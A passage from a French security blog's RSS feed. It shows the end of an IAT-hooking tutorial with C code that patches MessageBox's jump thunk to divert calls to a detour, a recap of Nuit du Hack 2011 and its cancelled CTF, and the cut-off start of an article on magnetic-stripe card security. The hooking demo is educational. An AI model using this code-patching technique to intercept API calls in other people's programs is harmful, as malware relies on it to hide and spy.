<p><span style="color: #000000;"><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">Pour réussir ce détournement, il faudra au préalable :<br />
- Prendre soin de changer la protection de la section de code contenant les opcodes à modifier<br />
- Calculer l’offset relatif pour l’instruction « JMP LONG ».<br />
- Sauvegarder l’adresse de l’API à hooker<br />
</span></span></span></p>
<p><span style="color: #000000;"><span style="font-family: Arial,sans-serif;"><span style="font-size: small;"><br />
Ci-dessous, je vous fournis un code d’exploitation pour mettre en place cette technique :</span></span></span></p>
<p>&nbsp;</p>
<pre><span style="color: #000000;"><span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">#include &lt;stdio.h&gt;</span></span></span>
<span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">#include &lt;stdlib.h&gt;</span></span>
<span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">#include &lt;windows.h&gt;</span></span>

<span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">typedef int (WINAPI * MESSAGEBOX)(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType);</span></span>
<span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">MESSAGEBOX g_oldAddress;</span></span>

<span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">void MyNewMessageBox()</span></span>
<span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">{</span></span>
    <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">return g_oldAddress(NULL, "IAT Hooking without parsing IAT", "IAT Hooking", MB_OK); </span></span>
<span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">}</span></span>

<span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">int main()</span></span>
<span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">{</span></span>
    <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">DWORD fnThunkAddress;</span></span>
    <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">DWORD *JmpOffsetAddress;</span></span>
    <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">DWORD fnDetourOffset;</span></span>
    <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">DWORD dwOldProtect;</span></span>
    <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">char jumpcode[6] = {0xE9, 0x00, 0x00, 0x00, 0x00, 0x90};</span></span>
    <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">char bRet;</span></span>

    <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">MessageBox(0,"Hello IAT, I am not hooking!","Welcome",0);</span></span>

    <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">MESSAGEBOX fnMessageBox = (MESSAGEBOX)MessageBox;</span></span>

    <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">/* Get the thunk or jump address */</span></span>
    <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">fnThunkAddress = (DWORD)fnMessageBox;</span></span>

    <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">/* Changes the protection of code section before writing */</span></span>
    <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">bRet = VirtualProtect(fnMessageBox, sizeof(jumpcode), PAGE_EXECUTE_READWRITE, &amp;dwOldProtect);</span></span>
    <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">if(bRet != 0)</span></span>
    <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">{</span></span>
        <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">/* Compute relative offset */</span></span>
        <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">fnDetourOffset = (DWORD)fnThunkAddress - (DWORD)MyNewMessageBox + 5;</span></span>
        <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">fnDetourOffset = ~(fnDetourOffset) + 1;</span></span>

        <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">/* Copy the relative offset into jumpcode variable*/</span></span>
        <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">memcpy(jumpcode+1, &amp;fnDetourOffset, sizeof(DWORD));</span></span>

        <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">// Save the original API address</span></span>
        <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">JmpOffsetAddress = (DWORD*)*(DWORD*)(fnMessageBox+2);</span></span>
        <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">g_oldAddress = (MESSAGEBOX)*JmpOffsetAddress;</span></span>

        <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">/* Modify the thunk/jump address with a jump towards our hook function */</span></span>
        <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">memcpy(fnMessageBox, jumpcode, sizeof(jumpcode));</span></span>

        <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">/* Restore original protection */</span></span>
        <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">VirtualProtect(fnMessageBox, sizeof(jumpcode), dwOldProtect, NULL);</span></span>
    <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">}</span></span>

    <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">MessageBox(0,"Hello world, I am not hooking!","Welcome",0);</span></span>
    <span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">return 0;</span></span>
<span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">}</span></span></pre>
<h1><strong><span style="font-size: medium;">6. Conclusion</span></strong></h1>
<p>&nbsp;</p>
<p><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">J'espère que cet article vous a permis d'améliorer vos connaissances ou de les compléter. A travers celui-ci, j’ai notamment tâché d’expliquer avec précision une technique pour abuser de la « jump thunk table » créé par certains compilateurs. Il ne faudra toutefois pas perdre de vue que cette méthode d'hooking de l'IAT ne peut être réalisée de manière commune à tous les exécutables.</span></span></p>
<p>&nbsp;</p>
<p><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">Pour d’éventuelles questions, remarques ou précisions sur le contenu de ce  papier, vous pouvez me joindre à l'adresse «trashomeo [at] gmail [dot] com».</span></span></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h1><strong><span style="font-size: medium;">7. Références</span></strong></h1>
<p><strong><span style="font-size: medium;"><br />
</span></strong></p>
<p><!-- 		@page { margin: 2cm } 		P { margin-bottom: 0.21cm } 		A:link { so-language: zxx } --><span style="color: #000000;"><span style="font-family: Arial,sans-serif;"><span style="font-size: small;"><em>Calling an imported function, the naive way </em></span></span></span><span style="color: #000000;"><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">: </span></span></span><span style="color: #000080;"><span style="text-decoration: underline;"><a href="http://blogs.msdn.com/b/oldnewthing/archive/2006/07/21/673830.aspx"><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">http://blogs.msdn.com/b/oldnewthing/archive/2006/07/21/673830.aspx</span></span></a></span></span></p>
<p><span style="color: #000000;"><span style="font-family: Arial,sans-serif;"><span style="font-size: small;"><em>How a less naive compiler calls an imported function :</em></span></span></span><span style="color: #000080;"><span style="text-decoration: underline;"><a href="http://blogs.msdn.com/b/oldnewthing/archive/2006/07/24/676669.aspx"><span style="font-family: Arial,sans-serif;"><span style="font-size: small;"> http://blogs.msdn.com/b/oldnewthing/archive/2006/07/24/676669.aspx</span></span></a></span></span></p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zenk-security.com/index.php/2011/07/02/iathooking/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Retour sur la nuit du hack 2011</title>
		<link>http://blog.zenk-security.com/index.php/2011/06/22/resume-ndh2k11/</link>
		<comments>http://blog.zenk-security.com/index.php/2011/06/22/resume-ndh2k11/#comments</comments>
		<pubDate>Wed, 22 Jun 2011 12:56:07 +0000</pubDate>
		<dc:creator>caracole</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[Divers]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://blog.zenk-security.com/?p=155</guid>
		<description><![CDATA[Ce week-end, vous n&#8217;êtes pas]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fblog.zenk-security.com%2Findex.php%2F2011%2F06%2F22%2Fresume-ndh2k11%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fblog.zenk-security.com%2Findex.php%2F2011%2F06%2F22%2Fresume-ndh2k11%2F&amp;source=ZenkSecurity&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><!-- 		@page { margin: 2cm } 		P { margin-bottom: 0.21cm } 		A:link { so-language: zxx } --></p>
<p><a href="http://blog.zenk-security.com/wp-content/uploads/2011/06/ndh_logo.jpg"><img class="size-full wp-image-158 aligncenter" title="ndh_logo" src="http://blog.zenk-security.com/wp-content/uploads/2011/06/ndh_logo.jpg" alt="" width="160" height="113" /></a></p>
<p>Ce week-end, vous n&#8217;êtes pas sans le savoir, ce fut la Nuit du Hack, événement incontournable de l&#8217;année pour tout les bidouilleurs. La communauté zenk-security était présente et nous comptons bien vous en faire un retour.</p>
<p>Pour bien commencer on va faire une épisode blabla agrémenté de photos et d’anecdotes, nous ajouterons par la suite les write-up qui sont en cours de rédaction par les membres de la communauté.</p>
<p>Nous étions donc présent dés l&#8217;ouverture pour assister à cette édition 2011 du rassemblement des hackeur/bidouilleurs/pirate de France et de Navare (et même des Belges bien sympa).</p>
<p>Au menu tout plein de conférences, un CTF publique et un CTF privé, (bon pour le CTF privé il y a eu un p&#8217;tit couac, je vous en parlerais plus en détail en fin de post) bref que du bon en perspective.</p>
<p><span id="more-155"></span></p>
<p>Nous sommes donc arrivé dans la salle, première impression : c&#8217;est immense, beaucoup de chaise, de grande table, c&#8217;est un signe ils attendent du monde, ça va tout déchirer.</p>
<p>Affublé de nos tee-shirt zenk-security nous traversons la salle et nous installons sur une table avec dans l&#8217;optique de rassembler la communauté tout autour.</p>
<p style="text-align: center;"><a href="http://blog.zenk-security.com/wp-content/uploads/2011/06/NDH2K11_tables.jpg"><img class="size-full wp-image-159  aligncenter" title="NDH2K11_tables" src="http://blog.zenk-security.com/wp-content/uploads/2011/06/NDH2K11_tables.jpg" alt="" width="600" height="402" /></a></p>
<p style="text-align: center;">Table zenk-security</p>
<p style="text-align: center;"><a href="http://blog.zenk-security.com/wp-content/uploads/2011/06/P1010497.jpg"><img class="size-medium wp-image-163 aligncenter" title="i'm root i hope you have backups" src="http://blog.zenk-security.com/wp-content/uploads/2011/06/P1010497-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p style="text-align: center;">En plein tweet</p>
<p>&nbsp;</p>
<p>Début des conférences avec celle de Damien Cauquil alias <a title="virtualabs" href="http://virtualabs.fr/" target="_blank">virtualabs</a> sur la sécurité des téléphones android. Une conférence bien réussie avec une petite mise en application ( géolocalisation via sms ). Les slides sont dispos <a title="ici" href="http://virtualabs.fr/ndh2k11/hacking-android.pdf" target="_blank">ici</a>.</p>
<p>Nous ne feront pas de retours détaillés sur chaque conférence pour le moment, le programme est disponible sur <a title="le site de la nuit du hack" href="http://www.nuitduhack.com/conferences-planning/2011-06-18" target="_blank">le site de la nuit du hack</a>.</p>
<p>Bref ça démarre bien.</p>
<p>&nbsp;</p>
<p>Les talks s’enchaînent à un rythme effrénés, à peine le temps d&#8217;en griller une, du délire. Bon on a quand même trouvé le temps de faire connaissance, c&#8217;était aussi le but.</p>
<p>&nbsp;</p>
<p>A côté des conférences il se passait beaucoup de chose aussi, moins visible, mais bien réelle. Notamment l&#8217;armée de wireshark qui scannaient à tout va le moindre paquet qui transitait par le wifi publique, il suffisait de se lever pour aller au toilette, de jeter un œil à droite et à gauche, ça scannait fort, inutile de vous dire que nous avons pris des précautions pour tenir le Livetweet.</p>
<p>Merci à Le_malade d&#8217;ailleurs qui était quasiment seul aux commandes du compte twitter de zenk et qui grâce à sa connexion 3g nous a évité, j&#8217;en suis sur, bien des tracas.</p>
<p>&nbsp;</p>
<p>18h, les conférences sont terminées, tout le monde se met en place pour participer au ctf public. Un nombre incroyable de machines qui se mettent en route et attendent le feu vert. Pendant ce temps, les participants du ctf privé sont priés d&#8217;attendre une petite demi-heure suite à un soucis technique, c&#8217;est pas grave il y a des bières !</p>
<p>Quelques heures après, personne n&#8217;a encore réussit à accéder au public. On a eu le droit à un petit tour de table de la part de notre chère administrateur Tr00ps également présent dans le staff hackerzvoice pour vérifier qui cachait un brouilleur d&#8217;onde. Peu de temps après, le staff annonce gentiment que personne n&#8217;a encore réussit à exploiter le wifi en wep, ils mettent donc à disposition la clé aux challengers, le ctf démarre, place à la concentration.</p>
<p>&nbsp;</p>
<p>Sur les coups de 22h, les organisateurs invitent les 15 équipes du ctf privé à rejoindre les tables prévus pour la &laquo;&nbsp;compétition&nbsp;&raquo;. Que du beau monde niveau français mais également nous avions l&#8217;honneur de recevoir une équipe russe ( Rdot.org ) qui avaient fait le déplacement.</p>
<p>Peu de temps après, le staff passe à notre table pour nous tenir au courant des petits soucis techniques. Deux vm ne veulent pas tourner ( à cause d&#8217;un problème de compatibilité ). Il fallut attendre 00h00 pour que deux équipes ( BlackBdx et Ingésup ) se retirent pour commencer. Pendant à peu près 45minutes les équipes étaient sur le qui-vive , nous avions le droit à plusieurs dizaines de vulnérabilités un peu partout sur les machines, il fallait être rapide et donc assez organisé. On s&#8217;en est bien sorti de ce coté la malgré quelques soucis de connexions sur le serveur linux et le firewall.</p>
<p>&nbsp;</p>
<p>Sur les coups de 1h, Crashfr a rassemblé les 13 chefs d&#8217;équipes restant pour proposer d&#8217;annuler le ctf. La décision fut acceptée à l’unanimité et la plupart se sont rattrapés sur les challenges publics. Néanmoins rien n&#8217;est perdu et l’énorme travail fourni par le staff sera mis en ligne pour que les challengers puissent en profiter tout de même.  Un mal pour un bien !</p>
<p style="text-align: center;"><a href="http://blog.zenk-security.com/wp-content/uploads/2011/06/P1010622.jpg"><img class="alignnone size-full wp-image-160" title="P1010622" src="http://blog.zenk-security.com/wp-content/uploads/2011/06/P1010622.jpg" alt="" width="384" height="512" /></a></p>
<p style="text-align: center;">Équipes du ctf privé.</p>
<p style="text-align: left;">Dans le foulée, notre ami Debaser a souhaité faire un petit backup des deux interfaces web présentent sur la machine linux de chaque équipes. Voici les sources si vous souhaitez vous amusez chez vous. <a href="http://blog.zenk-security.com/wp-content/uploads/2011/06/web.tar.gz">web.tar</a></p>
<p style="text-align: left;">Nous en avons parlé avec des membres du staff NDH, ce soucis technique à énervé beaucoup de monde, surtout que tout le monde était prêt pour donner le meilleurs, la tentation serait grande de les plomber pour ce fail. Malgré tout nous avons vu leurs efforts pour lancer le CTF, depuis 16h c&#8217;était la guerre de ce côté là et ils ont eux aussi tout tenté pour résoudre les problèmes qui se posaient en obstacle à la conduite d&#8217;un CTF qui promettait. Non vraiment, vu le travail qu&#8217;ils avaient fournit pour monter une véritable usine à gaz, les efforts qu&#8217;ils ont fait pour que ça tourne et surtout la déception qu&#8217;on pouvait lire sur leurs visage quand la décision d&#8217;arrêter le CTF fut prise, nous ne pouvons pas leur tirer lâchement dans le dos.</p>
<p style="text-align: left;">Les soucis techniques ça arrive, ça fait parti du jeu et c&#8217;est aussi ce qui fait tout le piment de l&#8217;informatique en règle générale, alors merci à eux d&#8217;avoir voulu nous ravir par un CTF qui prévoyait (et je me répète) de tout déchirer et tant pis pour cette fois, vous ferrez bien mieux l&#8217;année prochaine. <img src='http://blog.zenk-security.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p style="text-align: left;">Vous pouvez aussi lire l&#8217;avis de virtuallabs qui en parle sur son blog : <a href="http://www.virtualabs.fr/">http://www.virtualabs.fr/</a></p>
<p>Pour le résumé des conférence et pas mal de photos/videos, je vous conseil d&#8217;aller ici : <a href="http://www.undernews.fr/culture-web-emploi/evenements/nuit-du-hack-2011-retour-sur-le-formidable-evenement.html">http://www.undernews.fr/culture-web-emploi/evenements/nuit-du-hack-2011-retour-sur-le-formidable-evenement.html</a></p>
<p><span style="text-decoration: underline;">Autres photos</span> :</p>
<p>Crédit Trance <a title="https://picasaweb.google.com/emilien.girault/NuitDuHack2011#" href="https://picasaweb.google.com/emilien.girault/NuitDuHack2011#" target="_blank">https://picasaweb.google.com/emilien.girault/NuitDuHack2011#</a></p>
<p>Crédit itichy    <a title="https://picasaweb.google.com/Casal.DeSousa/Ndh2011_zenk?authkey=Gv1sRgCOaowvzjr62lMQ" href="https://picasaweb.google.com/Casal.DeSousa/Ndh2011_zenk?authkey=Gv1sRgCOaowvzjr62lMQ" target="_blank">https://picasaweb.google.com/Casal.DeSousa/Ndh2011_zenk?authkey=Gv1sRgCOaowvzjr62lMQ</a></p>
<p>&nbsp;</p>
<p>Nous souhaitons remercier tous le staff de la nuit du hack pour avoir réussi à organiser un évènement d&#8217;une telle envergure, pour leur réactivité et surtout leur bonne humeur. Bien entendu un grand merci aux auteurs des différents workshops et conférenciers qui ont bien joué le jeu.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zenk-security.com/index.php/2011/06/22/resume-ndh2k11/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Sécurité des cartes à bande magnétique par K1wy</title>
		<link>http://blog.zenk-security.com/index.php/2011/06/10/securite-des-cartes-a-bande-magnetique/</link>
		<comments>http://blog.zenk-security.com/index.php/2011/06/10/securite-des-cartes-a-bande-magnetique/#comments</comments>
		<pubDate>Fri, 10 Jun 2011 17:45:10 +0000</pubDate>
		<dc:creator>caracole</dc:creator>
				<category><![CDATA[old-school]]></category>
		<category><![CDATA[sécurité]]></category>
		<category><![CDATA[carte de crédit]]></category>
		<category><![CDATA[carte magnétique]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[k1wy]]></category>
		<category><![CDATA[sécurité magnétique]]></category>
		<category><![CDATA[zenk-security]]></category>

		<guid isPermaLink="false">http://blog.zenk-security.com/?p=81</guid>
		<description><![CDATA[Bonjour à tous. Avec un]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fblog.zenk-security.com%2Findex.php%2F2011%2F06%2F10%2Fsecurite-des-cartes-a-bande-magnetique%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fblog.zenk-security.com%2Findex.php%2F2011%2F06%2F10%2Fsecurite-des-cartes-a-bande-magnetique%2F&amp;source=ZenkSecurity&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><a href="http://blog.zenk-security.com/wp-content/uploads/2011/06/02070240-photo-kirill-zdorov-fotolia-com-carte-magnetique-pass-acces-logo.jpg"><img class="alignleft size-medium wp-image-147" title="electronic lock" src="http://blog.zenk-security.com/wp-content/uploads/2011/06/02070240-photo-kirill-zdorov-fotolia-com-carte-magnetique-pass-acces-logo-300x225.jpg" alt="" width="300" height="225" /></a>Bonjour à tous. <img src='http://blog.zenk-security.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Avec un peu de retard sur le calendrier nous publions notre deuxième article, cette fois c&#8217;est sur la sécurité des cartes magnétiques, en espérant que la plume et les compétences de son auteur vous plairont, merci K1wy de ton implication dans la communauté.<br />
Bonne lecture et merci de vos retours. <img src='http://blog.zenk-security.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>&nbsp;</p>
<p><strong>Auteur : K1wy</strong></p>
<h1><span style="color: #3366ff;"><strong>Introduction :</strong></span></h1>
<p>L’information est présente partout dans la vie, et à acquis une importance capitale dans le monde actuel. Il a donc fallut trouver des supports pour stocker ces informations à la fois petit, léger, pratique. Les cartes sont alors apparues permettant d’enregistrer plus ou moins sensible, elles ont aujourd’hui de nombreuse fonctions : carte de fidélité, carte bancaire, carte de transport, etc. Une question s’est alors posée, comment assurer la sécurité et l’authenticité des informations de la carte. La technologie ayant évoluée de nombreux types de cartes sont apparus, tel que les cartes à puce, les cartes à bande magnétique, ou les cartes avec RFID. Nous nous sommes intéressés aux cartes à bande magnétique, car ce sont les plus faciles à lire et les plus accessibles. Comment est encodée  l’information sur ce type de carte et quels sont les moyens mis en place pour assurer sécurité de ces données ?<br />
Nous allons donc voir comment les données sont stockées sur la carte magnétique et quels sont les moyens physiques puis numérique pour assurer leur sécurité.</p>
<p><span id="more-81"></span></p>
<h1 style="text-align: justify;"><span style="color: #3366ff;"><strong>Première Partie : Stockage des données.</strong></span></h1>
<p><strong><span style="color: #3366ff;"><em>Principe :</em></span></strong><br />
Sur ce type de carte les informations de la carte sont contenue exclusivement sur a bande magnétique. Cette dernière est composée de micro particules ferromagnétiques dispersées dans un liant. Lorsqu’on applique un champ magnétique à ce mélange, les particules se comportent comme de petits cristaux aimantés qui prennent une certaine orientation selon la valeur du champ magnétique. En choisissant un champ définit on peut alors contrôler ces particules. Il existe plusieurs types de particule, mais celle retenue pour les cartes magnétiques courante est l’oxyde de fer. Tous ces types de particules ont une certaine rémanence : cette propriété permet à un matériau magnétique d’acquérir et de conserver une aimantation permanente (même éloigner d’un champ magnétique).<br />
Pour écrire sur cette bande il faut appliquer une excitation magnétique externe (tête d’écriture). Plus le champ magnétique appliqué à la bande sera élevé plus les particules auront une orientation<br />
similaire. Cela permet d’avoir des regroupements de particules ayant toutes la même orientation.</p>
<p>&nbsp;</p>
<blockquote><p><a href="http://blog.zenk-security.com/wp-content/uploads/2011/06/courbe1.png"><img class="alignleft size-full wp-image-82" title="courbe1" src="http://blog.zenk-security.com/wp-content/uploads/2011/06/courbe1.png" alt="" width="139" height="149" /></a></p>
<p>Ici H est l’intensité du champ magnétique appliqué aux particules par notre tête d’écriture. Et B l’intensité de la magnétisation induite. On voit que plus H est important plus la magnétisation induite le sera jusqu&#8217;à un certain seuil.</p></blockquote>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><span style="color: #3366ff;"><strong><em>Lecture et écriture :</em></strong></span></p>
<p>Le codage numérique (c’est-à-dire une suite de 0 et de 1) ne parait pas compliquer à mettre en place. En effet, on peut penser qu’une simple inversion de flux peut symboliser un 0 (niveau bas) ou un 1 (niveau haut). Cependant, un problème se pose : comment séparer avec précision une série de plusieurs 1 ou de plusieurs 0 à la relecture ? On utilise alors le  codage F/2F. Le codage F/2F est une technique qui permet de différencier les 0 et les 1 en se basant sur une durée (modulation de fréquence). On symbolise alors le 0 par une simple inversion de flux tandis que le 1 est codé par 2 inversions de flux consécutives. La longueur entre une inversion pour un 0 et deux inversions pour un 1 sont égales. On a donc F pour 0 et 2F pour 1. Au début de la piste, on trouve une suite de 0 permettant à l’horloge du lecteur de se synchroniser. Pendant le défilement de la bande sous la tête d’écriture, le champ magnétique généré par cette tête va subir plusieurs inversions du à des variations d’intensités.</p>
<p><a href="http://blog.zenk-security.com/wp-content/uploads/2011/06/principe.png"><img class="alignleft size-medium wp-image-88" title="principe" src="http://blog.zenk-security.com/wp-content/uploads/2011/06/principe-300x117.png" alt="" width="300" height="117" /></a>Principe du codage F/2F.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Pour la lecture, la tête va parcourir la bande et suivant l’orientation des particules une intensité va être créée dans la tête. Cette intensité va ensuite être amplifiée puis modélisée par  un signal rectangulaire de type niveau haut-niveau bas. Ce signal va ensuite être interprété par une suite de 0 et de 1 suivant le codage F/2F.</p>
<p><strong><span style="color: #3366ff;"><em>Normes d’encodage :</em></span></strong><br />
Il existe une série de normes qui définissent différentes caractéristiques pour les cartes à bandes magnétiques. Notamment l’encodage et la répartition des informations sur la bande. Ces normes ont été définies par un organisme s’appelant ISO : International Organization for Standardization. Ces normes sont numérotés 7810, 7811 et 7813 (pour les cartes financières). Ces normes définissent 3 pistes sur la bande magnétique. Voici un schéma de la disposition de ces pistes de manière standard :</p>
<blockquote><p><a href="http://blog.zenk-security.com/wp-content/uploads/2011/06/pistes.png"><img class="alignleft size-medium wp-image-90" title="pistes" src="http://blog.zenk-security.com/wp-content/uploads/2011/06/pistes-300x197.png" alt="" width="436" height="212" /></a></p></blockquote>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>http://www.securiteinfo.com/attaques/divers/cartesmagn.shtml</p>
<ul>
<li>La piste ISO1, qui permet de stocker 210 bit par pouce, soit environ 82 bit par cm.</li>
<li> La piste ISO2, qui permet de stocker 75 bit par pouce, soit environ 29 bit par cm.</li>
<li> La piste ISO3, ayant les mêmes caractéristiques que la piste 1</li>
</ul>
<p>Ces normes définissent aussi des codes alphanumériques faisant la correspondance entre une suite de bit et un caractère particulier. La piste ISO1 a pour codage un alphabet sur 7 bits (annexe 1) et les piste 2 et 3 un alphabet à 5 bits (annexe 2). Ces codes contiennent aussi des caractères spéciaux de début et de fin de piste (qui encadrent l’information) et des séparateurs.</p>
<p>Il est à noter que ce ne sont que des standards et que les fournisseurs de cartes ne sont pas tenus de les respecter (hormis carte financière). Les tickets de tram par exemple n’utilisent que la piste 2 mais respectent quand même les dimensions qu’une carte  financière au niveau du support ainsi que le même codage. Dans les cartes que nous avons tenté de décoder, il est apparu que la piste 2 est la plus utilisée.</p>
<p>&nbsp;</p>
<h1><span style="color: #3366ff;"><strong>Deuxième partie : la sécurité</strong></span></h1>
<p>Dans cette partie nous allons traiter des différentes solutions autant physiques que numériques misent en place pour assurer la sécurité et l’intégrité des données encodés sur la carte.<br />
<span style="color: #3366ff;"><strong><em>Sécurité physique :</em></strong></span><br />
La première caractéristique importante pour éviter les erreurs et assurer la pérennité des données est d’utiliser un matériau pour la bande magnétique à haute coercitivité. La coercitivité est la<br />
capacité du matériau à garder la magnétisation qu’on lui a appliqué à l’écriture. Lorsqu’on applique un champ magnétique extérieur sur la bande (comme on le fait à l’écriture), cette dernière doit pouvoir garder les données précédemment transmises. Elle ne doit pas s’altérer au cours du temps, ni avec une utilisation fréquente. Pour cela nous utilisons des matériaux à haute coercitivité pour les bandes magnétiques, le matériau le plus couramment utilisé sur les pistes est l’oxyde de fer. Il s’agit tout simplement de sa résistance à la dés-aimantation. On utilise alors des matériaux à haute coercitivité pour éviter des effacements accidentels des données par des objets plus ou moins aimantés. Voici les différents types d’effacement que l’on peut retrouver (d’après doc. Thomson LCC) :</p>
<p><a href="http://blog.zenk-security.com/wp-content/uploads/2011/06/desaim.png"><img class="alignleft size-full wp-image-103" title="desaim" src="http://blog.zenk-security.com/wp-content/uploads/2011/06/desaim.png" alt="" width="595" height="496" /></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>On utilise alors pour palier à ce problème d’effacements des matériaux à assez hautes coercivités. Outre le problème des effacements, il faut prendre en compte les  éventuelles possibilités de réécritures. Les machines servant à réécrire sur une bande magnétique sont disponibles dans le commerce. Cependant, plus la piste a une  coercivité importante, plus il faut générer un champ magnétique puissant. Le coût de ces machines augmente proportionnellement avec la coercivité de la carte à écrire. C’est un moyen de se protéger contre les tentatives de réécriture. Un autre moyen de se protéger physiquement contre la modification d’une carte est de ne pas respecter les normes. On peut décider d’écrire les données de façon hélicoïdale. Les données ne sont plus parallèles sur la longueur de la carte mais en biais ce qui permet d’éviter toute lecture par un lecteur non spécialisé.</p>
<p><a href="http://blog.zenk-security.com/wp-content/uploads/2011/06/biais.png"><img class="alignleft size-full wp-image-112" title="biais" src="http://blog.zenk-security.com/wp-content/uploads/2011/06/biais.png" alt="" width="346" height="220" /></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Enfin, un dernier moyen de protéger la lecture et l’écriture d’une bande magnétique par un système « étranger » est de ne pas utiliser des cartes normalisées. Suivant les normes présentées précédemment, on retrouve généralement trois pistes sur la bande magnétique. Certaines cartes alors ont la bande magnétique divisées en plusieurs parties disposées à divers endroits de la carte.<br />
Voici un exemple de ces cartes :</p>
<blockquote><p><a href="http://blog.zenk-security.com/wp-content/uploads/2011/06/fadini.png"><img class="alignleft size-medium wp-image-118" title="fadini" src="http://blog.zenk-security.com/wp-content/uploads/2011/06/fadini-300x191.png" alt="" width="300" height="191" /></a> Ceci est un passe pour une serrure électronique.</p>
<p>Les données sont inscrites sur la flèche.</p></blockquote>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>http://www.fadini.net/prodotto.asp?language=FRA&#038;id=90</p>
<p>En conclusion, même s’il existe des normes sur la disposition des pistes magnétiques et sur la façon d’écrire sur ces dernières, on retrouve de nombreux modèles de cartes magnétiques non  conformes afin d’augmenter la sécurité des données contenue sur la carte. Il existe aussi des moyens numériques pour protéger ces données.</p>
<p>&nbsp;</p>
<p><span style="color: #3366ff;"><strong><em>La Sécurité numérique :</em></strong></span><br />
La sécurité numérique est primordiale pour protéger les données de la carte magnétique et en assurer leur intégrité. Le plus important au départ est de savoir si l’information que l’on a lu sur la<br />
carte est bien valide, en effet le lecteur doit prendre en compte les erreurs qui peuvent se produire sur un bit, comme une inversion, un rajout ou encore une suppression. Mais il existe aussi des<br />
